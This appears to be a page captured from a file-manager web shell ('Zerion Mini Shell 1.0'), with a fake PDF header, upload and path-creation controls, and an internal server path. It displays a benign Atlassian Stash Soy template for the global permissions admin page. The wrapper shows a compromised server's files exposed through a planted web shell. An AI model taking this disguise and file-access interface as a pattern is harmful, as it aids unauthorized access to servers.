%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/old/home/stash/atlassian-stash/static/page/admin/globalPermissions/
Upload File :
Create Path :
Current File : //data/old/home/stash/atlassian-stash/static/page/admin/globalPermissions/globalPermissions.soy

{namespace stash.admin}

/**
* @param permissionDataList a list of com.atlassian.stash.web.widgets.permissions.PermissionData
* @param grantablePermissionDataList a list of com.atlassian.stash.web.widgets.permissions.PermissionData
* @param currentUserHighestPerm the current user's highest permission
*/
{template .globalPermissions}
{webResourceManager_requireResourcesForContext('stash.page.admin.globalPermissions')}
{call stash.layout.admin}
    {param activeTab: 'admin-general-permissions' /}
    {param content}
        <header class="aui-page-header">
            <div class="aui-page-header-inner">
                <div class="aui-page-header-main">
                    <h2>{getText('stash.web.admin.global.permissions.title')}</h2>
                </div>
            </div>
        </header>
        {call widget.aui.group.group}
            {param content}
                {call widget.aui.group.item}
                    {param content}
                        {call stash.feature.permission.userPermissionTable}
                            {param permissionDataList: $permissionDataList /}
                            {param grantablePermissionDataList: $grantablePermissionDataList /}
                            {param noResultsText: getText('stash.web.permission.user.noresults') /}
                        {/call}
                        {call stash.feature.permission.groupPermissionTable}
                            {param permissionDataList: $permissionDataList /}
                            {param grantablePermissionDataList: $grantablePermissionDataList /}
                            {param noResultsText: getText('stash.web.permission.group.noresults') /}
                        {/call}
                    {/param}
                {/call}
                {call widget.aui.group.item}
                    {param extraClasses: 'permission-description-column' /}
                    {param content}
                        {foreach $permissionData in $permissionDataList}
                            <h4>{$permissionData.i18nName}</h4>
                            <div class="permission-description">{$permissionData.i18nDescription}</div>
                        {/foreach}
                    {/param}
                {/call}
            {/param}
        {/call}

    {/param}
    {param pageBottomContent}
        <script>require('page/admin/globalPermissions').onReady([
            {foreach $permissionData in $permissionDataList}
                {lb}name : "{$permissionData.permission|escapeJs}", i18nName: "{$permissionData.i18nName|escapeJs}"{rb}{if not isLast($permissionData)},{/if}
            {/foreach}
        ], "{$currentUserHighestPerm|escapeJs}");</script>
    {/param}
{/call}
{/template}

Zerion Mini Shell 1.0